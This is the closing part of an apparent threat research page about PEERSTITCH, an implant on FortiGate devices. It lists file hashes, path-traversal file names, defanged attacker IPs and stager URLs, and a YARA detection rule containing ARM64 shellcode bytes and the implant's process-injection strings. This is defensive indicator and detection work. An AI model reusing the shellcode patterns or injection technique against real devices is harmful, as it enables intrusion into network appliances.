| SHA-256 hash      | 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 | PEERSTITCH runtime shared secret key artifact (hard-coded string "123456") |
| Filename          | lldprx                                                           | PEERSTITCH malware                                                         |
| Filename          | pM.js                                                            | PEERSTITCH malware installer script                                        |
| Filename          | index.js                                                         | PEERSTITCH emscripten JS component                                         |
| Filename          | index.wasm                                                       | PEERSTITCH emscripten WASM module                                          |
| Filename          | ipssem.js                                                        | PEERSTITCH orchestrator script                                             |
| Filename and path | ../../../../setup                                                | Path-traversal auto-script name                                            |
| Filename and path | ../../tmp/apache2/conf/md-acme.conf                              | Path-traversal auto-script name                                            |

Table 3. Files and SHA-256 hashes for PEERSTITCH activity.

Table 4 lists the network indicators associated with PEERSTITCH activity.

|------------|--------------------------------------------------------------------|------------------------------------------|
| **Type**   | **Value**                                                          | **Context**                              |
| IP address | 23.240.77\[.\]233                                                  | Hosting installer and PEERSTITCH malware |
| IP address | 47.18.167\[.\]159                                                  | Hosting installer and PEERSTITCH malware |
| IP address | 45.32.41\[.\]202                                                   | Rogue FortiGate IP added to FortiManager |
| IP address | 198.199.122\[.\]22                                                 | Rogue FortiGate IP added to FortiManager |
| URL        | hxxp\[:\]//23.240.77\[.\]233:8085/pM.js                            | Hosting PEERSTITCH stager                |
| URL        | hxxp\[:\]//47.18.167\[.\]159:8085/pM.js                            | Hosting PEERSTITCH stager                |
| URL        | hxxp\[:\]//23.240.77\[.\]233:8084/directory                        | ACME certificate authority abuse         |
| URL        | hxxp\[:\]//23.240.77\[.\]233:8084/acme/new-acct                    | ACME certificate authority abuse         |
| URL        | hxxp\[:\]//23.240.77\[.\]233:8084/acme/order/11111                 | ACME certificate authority abuse         |
| URL        | hxxp\[:\]//23.240.77\[.\]233:8084/acme/authz/1                     | ACME certificate authority abuse         |
| URL        | hxxp\[:\]//23.240.77\[.\]233:8084/acme/finalize/61924744/774083503 | ACME certificate authority abuse         |

Table 4. Network indicators for PEERSTITCH activity.

The following is a YARA rule to discover PEERSTITCH activity:  
rule u42\_apt\_linux\_PEERSTITCH\_fortigate\_implant { meta: author = "Unit 42 - PaloAltoNetworks" description = "Identifies FortiGate process memory patching implant (ptrace injector targeting miglogd/iked)" hash = "b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70" malware\_family = "PEERSTITCH\_fortigate\_implant" strings: // ARM64 mmap shellcode template (.rodata 0x45A688) // Allocates 16KB RWX via mmap, writes trampoline, jumps to it // Full 45-byte sequence: MOV X0-X5,X8 setup -\> SVC #0 -\> MOV W1,#0xD4200000 -\> STR -\> BR X0 $shellcode\_template = { 00 00 80 D2 // MOV X0, #0 01 00 88 D2 // MOV X1, #0x4000 E2 00 80 D2 // MOV X2, #7 (RWX) 43 04 80 D2 // MOV X3, #0x22 (MAP\_PRIVATE|MAP\_ANONYMOUS) 04 00 80 D2 // MOV X4, #0 05 00 80 D2 // MOV X5, #0 C8 1B 80 D2 // MOV X8, #0xDE (\__NR\_mmap) 01 00 00 D4 // SVC #0 01 84 BA 52 // MOV W1, #0xD4200000 01 00 00 B9 // STR W1, \[X0\] 00 00 1F D6 // BR X0 } // Injection payload entry prologue (.data 0x494048) // ADR+LDUR dispatch -\> stack frame 0x110 -\> bulk STP register save $injection\_entry = { 1E 00 00 10 // ADR X30, #0 DE C3 40 F8 // LDUR X30, \[X30, #0xC\] C0 03 1F D6 // RET 00 00 00 00 00 00 00 00 00 00 00 00 FF 43 04 D1 // SUB SP, SP, #0x110 E0 0F 00 F9 // STR X0, \[SP, #0x18\] E1 0B 02 A9 // STP X1, X2, \[SP, #0x20\] E3 13 03 A9 // STP X3, X4, \[SP, #0x30\] E5 1B 04 A9 // STP X5, X6, \[SP, #0x40\] E7 23 05 A9 // STP X7, X8, \[SP, #0x50\] E9 2B 06 A9 // STP X9, X10, \[SP, #0x60\] EB 33 07 A9 // STP X11, X12, \[SP, #0x70\] ED 3B 08 A9 // STP X13, X14, \[SP, #0x80\] EF 43 09 A9 // STP X15, X16, \[SP, #0x90\] F1 4B 0A A9 // STP X17, X18, \[SP, #0xA0\] F3 53 0B A9 // STP X19, X20, \[SP, #0xB0\] F5 5B 0C A9 // STP X21, X22, \[SP, #0xC0\] F7 63 0D A9 // STP X23, X24, \[SP, #0xD0\] F9 6B 0E A9 // STP X25, X26, \[SP, #0xE0\] FB 73 0F A9 // STP X27, X28, \[SP, #0xF0\] FD 7B 10 A9 // STP X29, X30, \[SP, #0x100\] } // Operational strings (.rodata 0x45A600-0x45A678) $s\_miglogd = "/bin/miglogd" $s\_iked = "/bin/iked" $s\_match\_ip = "169.254.0.1" $s\_cover\_path = "/tmp/apache2/conf/md-acme.conf" $s\_cover\_content = "#0 certs managed by ACME" $s\_proc\_mem = "/proc/%d/mem" condition: uint32(0) == 0x464C457F and ( $shellcode\_template or $injection\_entry or (4 of ($s_\*)) ) }

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | rule u42\_apt\_linux\_PEERSTITCH\_fortigate\_implant { meta: author = "Unit 42 - PaloAltoNetworks" description = "Identifies FortiGate process memory patching implant (ptrace injector targeting miglogd/iked)" hash = "b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70" malware\_family = "PEERSTITCH\_fortigate\_implant" strings: // ARM64 mmap shellcode template (.rodata 0x45A688) // Allocates 16KB RWX via mmap, writes trampoline, jumps to it // Full 45-byte sequence: MOV X0-X5,X8 setup -\> SVC #0 -\> MOV W1,#0xD4200000 -\> STR -\> BR X0 $shellcode\_template = { 00 00 80 D2 // MOV X0, #0 01 00 88 D2 // MOV X1, #0x4000 E2 00 80 D2 // MOV X2, #7 (RWX) 43 04 80 D2 // MOV X3, #0x22 (MAP\_PRIVATE|MAP\_ANONYMOUS) 04 00 80 D2 // MOV X4, #0 05 00 80 D2 // MOV X5, #0 C8 1B 80 D2 // MOV X8, #0xDE (\__NR\_mmap) 01 00 00 D4 // SVC #0 01 84 BA 52 // MOV W1, #0xD4200000 01 00 00 B9 // STR W1, \[X0\] 00 00 1F D6 // BR X0 } // Injection payload entry prologue (.data 0x494048) // ADR+LDUR dispatch -\> stack frame 0x110 -\> bulk STP register save $injection\_entry = { 1E 00 00 10 // ADR X30, #0 DE C3 40 F8 // LDUR X30, \[X30, #0xC\] C0 03 1F D6 // RET 00 00 00 00 00 00 00 00 00 00 00 00 FF 43 04 D1 // SUB SP, SP, #0x110 E0 0F 00 F9 // STR X0, \[SP, #0x18\] E1 0B 02 A9 // STP X1, X2, \[SP, #0x20\] E3 13 03 A9 // STP X3, X4, \[SP, #0x30\] E5 1B 04 A9 // STP X5, X6, \[SP, #0x40\] E7 23 05 A9 // STP X7, X8, \[SP, #0x50\] E9 2B 06 A9 // STP X9, X10, \[SP, #0x60\] EB 33 07 A9 // STP X11, X12, \[SP, #0x70\] ED 3B 08 A9 // STP X13, X14, \[SP, #0x80\] EF 43 09 A9 // STP X15, X16, \[SP, #0x90\] F1 4B 0A A9 // STP X17, X18, \[SP, #0xA0\] F3 53 0B A9 // STP X19, X20, \[SP, #0xB0\] F5 5B 0C A9 // STP X21, X22, \[SP, #0xC0\] F7 63 0D A9 // STP X23, X24, \[SP, #0xD0\] F9 6B 0E A9 // STP X25, X26, \[SP, #0xE0\] FB 73 0F A9 // STP X27, X28, \[SP, #0xF0\] FD 7B 10 A9 // STP X29, X30, \[SP, #0x100\] } // Operational strings (.rodata 0x45A600-0x45A678) $s\_miglogd = "/bin/miglogd" $s\_iked = "/bin/iked" $s\_match\_ip = "169.254.0.1" $s\_cover\_path = "/tmp/apache2/conf/md-acme.conf" $s\_cover\_content = "#0 certs managed by ACME" $s\_proc\_mem = "/proc/%d/mem" condition: uint32(0) == 0x464C457F and ( $shellcode\_template or $injection\_entry or (4 of ($s_\*)) ) } |

## Additional Resources

* [FortiBleed Operations Continue Targeting Exposed Systems Leading to Reports of Lockouts](https://www.ic3.gov/CSA/2026/261006.pdf) --- Joint FBI and Secret Service Advisory, October 6, 2026
* [Missing authentication in fgfmsd](https://www.fortiguard.com/psirt/FG-IR-24-423) --- FortiGuard Labs PSIRT Advisory
* [Path Traversal in CLI](https://fortiguard.fortinet.com/psirt/FG-IR-26-122) - FortiGuard Labs PSIRT Advisory
* [FGFM protocol allows unauthenticated reset of the connection](https://www.fortiguard.com/psirt/FG-IR-24-041) - FortiGuard Labs PSIRT Advisory
* [Weak authentication - FGFM protocol](https://www.fortiguard.com/psirt/FG-IR-24-042) - FortiGuard Labs PSIRT Advisory
* [Administrative FortiCloud SSO authentication bypass](https://www.fortiguard.com/psirt/FG-IR-26-060) - Fortiguard Labs PSIRT Advisory
* [Multiple Fortinet Products' FortiCloud SSO Login Authentication Bypass](https://www.fortiguard.com/psirt/FG-IR-25-647) - FortiGuard Labs PSIRT Advisory
* [Communications Protocol Guide, FortiGate / FortiManager 7.4](https://fortinetweb.s3.amazonaws.com/docs.fortinet.com/v2/attachments/6379fbaa-6dda-11ee-a142-fa163e15d75b/FGFM-7.4-Communications_Protocol_Guide.pdf) - Fortinet
* [Fortinet Analysis of Single Sign-On Abuse on FortiOS](https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios) - Fortinet Blog
  Back to top

### Tags

* [Apache](https://unit42.paloaltonetworks.com/tag/apache/ "Apache")
* [CL-STA-0954](https://unit42.paloaltonetworks.com/tag/cl-sta-0954/ "CL-STA-0954")
* [Logging](https://unit42.paloaltonetworks.com/tag/logging/ "logging")
* [Network intrusion](https://unit42.paloaltonetworks.com/tag/network-intrusion/ "network intrusion")
* [Network Sniffer](https://unit42.paloaltonetworks.com/tag/network-sniffer/ "Network Sniffer")
* [Payload](https://unit42.paloaltonetworks.com/tag/payload/ "payload")
* [Reverse shells](https://unit42.paloaltonetworks.com/tag/reverse-shells/ "reverse shells")
* [VPN](https://unit42.paloaltonetworks.com/tag/vpn/ "VPN")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: The Noise Inside the Network: How an Unsophisticated Attack Exposed a Third-Party Risk](https://unit42.paloaltonetworks.com/noise-inside-network-third-party-risk/ "The Noise Inside the Network: How an Unsophisticated Attack Exposed a Third-Party Risk")

### Table of Contents

* 

### Related Articles

* [AI-Powered Espionage Campaign Targets Government Linux Infrastructure](https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ "article - table of contents")
* [Blinder Tunnel Campaign Targets Iraqi Infrastructure](https://unit42.paloaltonetworks.com/blinder-tunnel-targets-critical-infrastructure/ "article - table of contents")
* [From Exposure to Lockdown: How AWS Neutralizes Compromised IAM Credentials through Managed Policies](https://unit42.paloaltonetworks.com/detecting-exposed-aws-iam-credentials/ "article - table of contents")

## Related Malware Resources

![Pictorial representation of AI-powered campaign targeting government infrastructure. A glowing, blue, brain-shaped structure floats above a central microchip on a circuit board. The scene is futuristic, with neon lights illuminating the interconnected pathways and components.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/AdobeStock_637057734-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) October 15, 2026 [#### AI-Powered Espionage Campaign Targets Government Linux Infrastructure](https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/)

* [Exfiltration](https://unit42.paloaltonetworks.com/tag/exfiltration/ "exfiltration")

* [LLM](https://unit42.paloaltonetworks.com/tag/llm/ "LLM")

* [Network security](https://unit42.paloaltonetworks.com/tag/network-security/ "network security")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ "AI-Powered Espionage Campaign Targets Government Linux Infrastructure")  
  ![Pictorial representation of operation blinder tunnel. Screen displaying code with a prominent alert symbol and the words 'VIRUS DETECTED' highlighted in red.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/05_Malware_Category_1920x900-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) October 6, 2026 [#### Blinder Tunnel Campaign Targets Iraqi Infrastructure](https://unit42.paloaltonetworks.com/blinder-tunnel-targets-critical-infrastructure/)

* [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/tag/advanced-persistent-threat/ "Advanced Persistent Threat")

* [Agent Serpens](https://unit42.paloaltonetworks.com/tag/agent-serpens/ "Agent Serpens")

* [AppDomainManager](https://unit42.paloaltonetworks.com/tag/appdomainmanager/ "AppDomainManager")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/blinder-tunnel-targets-critical-infrastructure/ "Blinder Tunnel Campaign Targets Iraqi Infrastructure")  
  ![Pictorial representation of how K8 operators betray your security posture. A close-up of a futuristic microchip with glowing circuits in vibrant colors, including blue, purple, and orange, reflecting light.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_652069707-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 29, 2026 [#### OperTraitors: How Kubernetes Operators Betray Your Security Posture](https://unit42.paloaltonetworks.com/agentic-ai-kubernetes-operator-risks/)

* [AI](https://unit42.paloaltonetworks.com/tag/ai/ "AI")

* [AI agents](https://unit42.paloaltonetworks.com/tag/ai-agents/ "AI agents")

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/agentic-ai-kubernetes-operator-risks/ "OperTraitors: How Kubernetes Operators Betray Your Security Posture")  
  ![Pictorial representation of a magnifying glass illuminating a glowing orange circular digital circuit interface on a dark, high-tech background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Myth-Busting_Overview_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) September 16, 2026 [#### Atomic macOS (AMOS) Stealer Activity](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/)

* [MacOS](https://unit42.paloaltonetworks.com/tag/macos/ "macOS")

* [Threat intelligence](https://unit42.paloaltonetworks.com/tag/threat-intelligence/ "threat intelligence")

* [Unit 42](https://unit42.paloaltonetworks.com/tag/unit-42/ "Unit 42")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/ "Atomic macOS (AMOS) Stealer Activity")  
  ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/unit42/respond/managed-detection-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* Observability

* [Cortex XCOR](https://www.paloaltonetworks.com/cortex/xcor)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/prepare-for-emerging-risks/continuous-frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center-subscribe.html)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
